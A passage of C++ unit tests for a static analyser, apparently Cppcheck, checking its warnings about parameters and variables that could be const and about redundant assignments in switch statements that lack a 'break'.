#10471\n check(\"void f(std::array const& i) {\\n\"\n \" if (i[0] == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10466\n check(\"typedef void* HWND;\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (const auto* h : v)\\n\"\n \" if (h) {}\\n\"\n \" for (const auto& h : v)\\n\"\n \" if (h) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:5:22]: (style) Variable 'h' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* const& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:33]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* const p) {\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int* const* pp) {\\n\"\n \" int* p = pp[0];\\n\"\n \" g(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"struct S {\\n\"\n \" static bool f(const T& t) { return t != nullptr; }\\n\"\n \"};\\n\"\n \"S s;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef void* HWND;\\n\" // #11084\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"using HWND = void*;\\n\"\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef int A;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"using A = int;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"struct S { void v(); };\\n\" // #11095\n \"void f(S* s) {\\n\"\n \" (s - 1)->v();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #11085\n \" for (int* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" for (auto* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:16]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char a[1][1];\\n\"\n \" char* b[1];\\n\"\n \" b[0] = a[0];\\n\"\n \" **b = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"ptrdiff_t f(int *p0, int *p1) {\\n\" // #11148\n \" return p0 - p1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (style) Parameter 'p0' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:27]: (style) Parameter 'p1' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::array a{}, b{};\\n\"\n \" const std::array& r = a;\\n\"\n \" if (r == b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {};\\n\" // #11599\n \"void g(S);\\n\"\n \"void h(const S&);\\n\"\n \"void h(int, int, const S&);\\n\"\n \"void i(S&);\\n\"\n \"void j(const S*);\\n\"\n \"void j(int, int, const S*);\\n\"\n \"void f1(S* s) {\\n\"\n \" g(*s);\\n\"\n \"}\\n\"\n \"void f2(S* s) {\\n\"\n \" h(*s);\\n\"\n \"}\\n\"\n \"void f3(S* s) {\\n\"\n \" h(1, 2, *s);\\n\"\n \"}\\n\"\n \"void f4(S* s) {\\n\"\n \" i(*s);\\n\"\n \"}\\n\"\n \"void f5(S& s) {\\n\"\n \" j(&s);\\n\"\n \"}\\n\"\n \"void f6(S& s) {\\n\"\n \" j(1, 2, &s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:20:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:23:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:11:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int, const int*);\\n\"\n \"void h(const int*);\\n\"\n \"void f(int* p) {\\n\"\n \" g(1, p);\\n\"\n \" h(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int, const int*);\\n\"\n \"void f(int i, int* p) {\\n\"\n \" f(i, const_cast(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"void f(std::vector& v, int b) {\\n\"\n \" size_t n = v.size();\\n\"\n \" for (size_t i = 0; i < n; i++) {\\n\"\n \" S& s = v[i];\\n\"\n \" if (!(b & s.a))\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (style) Variable 's' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" new (&i) int();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" int& r = i;\\n\"\n \" if (!&r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"class C;\\n\" // #11646\n \"void g(const C* const p);\\n\"\n \"void f(C* c) {\\n\"\n \" g(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Parameter 'c' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\" // #11674\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\"\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(::cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"void f1(std::vector* p) {\\n\" // #11681\n \" if (p->empty()) {}\\n\" // warn\n \"}\\n\"\n \"void f2(std::vector* p) {\\n\"\n \" p->resize(0);\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" void h1() const;\\n\"\n \" void h2();\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void k(int&);\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h1();\\n\" // warn\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h2();\\n\"\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" if (s->i) {}\\n\" // warn\n \"}\\n\"\n \"void g2(S* s) {\\n\"\n \" s->i = 0;\\n\"\n \"}\\n\"\n \"void g3(S* s) {\\n\"\n \" k(s->i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:13:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:19:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11573\n \" const char* g() const {\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" const char* m;\\n\"\n \"};\\n\"\n \"struct T { std::vector v; };\\n\"\n \"void f(T* t, const char* n) {\\n\"\n \" for (const auto* p : t->v)\\n\"\n \" if (strcmp(p->g(), n) == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:11]: (style) Parameter 't' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int*& p, int* q) {\\n\"\n \" p = q;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S* s) {\\n\"\n \" if (s->a[0]) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"size_t f(char* p) {\\n\" // #11842\n \" return strlen(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void f(int* p) {\\n\" // #11862\n \" long long j = *(p++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(void *p, size_t nmemb, size_t size, int (*cmp)(const void *, const void *)) {\\n\"\n \" qsort(p, nmemb, size, cmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool *r, std::size_t *b) {\\n\" // #12129\n \" if (*r && *b >= 5) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'r' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:30]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\" // #12185\n \" void* p = &i;\\n\"\n \" std::cout << p << '\\\\n';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { const T* t; };\\n\" // #12206\n \"void f(S* s) {\\n\"\n \" if (s->t.i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(char *a1, char *a2) {\\n\" // #12252\n \" char* b = new char[strlen(a1) + strlen(a2) + 2];\\n\"\n \" sprintf(b, \\\"%s_%s\\\", a1, a2);\\n\"\n \" delete[] b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'a1' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:24]: (style) Parameter 'a2' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* p) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int *src, int* dst) {\\n\" // #12518\n \" *dst++ = (int)*src++;\\n\"\n \" *dst++ = static_cast(*src++);\\n\"\n \" *dst = (int)*src;\\n\"\n \"}\\n\"\n \"void g(int* dst) {\\n\"\n \" (int&)*dst = 5;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'src' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {};\\n\"\n \"void f(T* t) {\\n\"\n \" S* s = (S*)t->p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:3:8]: (style) Variable 's' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str()); // don't crash\n\n check(\"struct S { int i; };\\n\" // #12205\n \"void f(S* s) {\\n\"\n \" (void)s->i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int* a, int* b, int i) {\\n\" // #13072\n \" a[b[i]] = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* a, int* b, int i) {\\n\" // #13085\n \" a[*(b + i)] = 0;\\n\"\n \" return *(b + i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #13286\n \"void f(struct S* s) {\\n\"\n \" if ((--s)->a >= 0) {}\\n\"\n \"}\\n\"\n \"void g(struct S* s) {\\n\"\n \" --s;\\n\"\n \" if (s->a >= 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:5:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n }\n\n void constArray() {\n check(\"void f(std::array& a) {\\n\"\n \" if (a[0]) {}\\n\"\n \"}\\n\"\n \"void g(std::array& a) {\\n\"\n \" a.fill(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'a' can be declared as const array [constParameterReference]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[1] = {};\\n\"\n \" return i[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[] = { 0 };\\n\"\n \" int j = i[0] + 1;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" const char *tmp;\\n\"\n \" char* a[] = { \\\"a\\\", \\\"aa\\\" };\\n\"\n \" static char* b[] = { \\\"b\\\", \\\"bb\\\" };\\n\"\n \" tmp = a[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \" tmp = b[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Variable 'a' can be declared as const array [constVariable]\\n\"\n \"[test.cpp:4:18]: (style) Variable 'b' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"int f(int i, int j) {\\n\" // #13069\n \" int a[3][4] = {\\n\"\n \" { 2, 2, -1, -1 },\\n\"\n \" { 2, -1, 2, -1 },\\n\"\n \" { 2, -1, -1, 2 },\\n\"\n \" };\\n\"\n \" return a[j][i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Variable 'a' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"void f(int n, int v[42]) {\\n\" // #12796\n \" int j = 0;\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" j += 1;\\n\"\n \" if (j == 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:19]: (style) Parameter 'v' can be declared as const array [constParameter]\\n\",\n errout_str());\n }\n\n void switchRedundantAssignmentTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" if (z)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void bar() {}\\n\" // bar isn't noreturn\n \"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strncpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strncpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" int z = 0;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" z++;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" z++;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:7] -> [test.cpp:10]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" printf(str);\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5158 \"segmentation fault (valid code)\"\n check(\"typedef struct ct_data_s {\\n\"\n \" union {\\n\"\n \" char freq;\\n\"\n \" } fc;\\n\"\n \"} ct_data;\\n\"\n \"typedef struct internal_state {\\n\"\n \" struct ct_data_s dyn_ltree[10];\\n\"\n \"} deflate_state;\\n\"\n \"void f(deflate_state *s) {\\n\"\n \" s->dyn_ltree[0].fc.freq++;\\n\"\n \"}\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #6132 \"crash: daca: kvirc CheckOther::checkRedundantAssignment()\"\n check(\"void HttpFileTransfer :: transferTerminated ( bool bSuccess ) {\\n\"\n \"if ( m_szCompletionCallback . isNull ( ) ) {\\n\"\n \"KVS_TRIGGER_EVENT ( KviEvent_OnHTTPGetTerminated , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams )\\n\"\n \"} else {\\n\"\n \"KviKvsScript :: run ( m_szCompletionCallback , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams ) ;\\n\"\n \"}\\n\"\n \"}\\n\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" switch (state) {\\n\"\n \" case 1: x = 3; goto a;\\n\"\n \" case 1: x = 6; goto a;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void switchRedundantOperationTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void 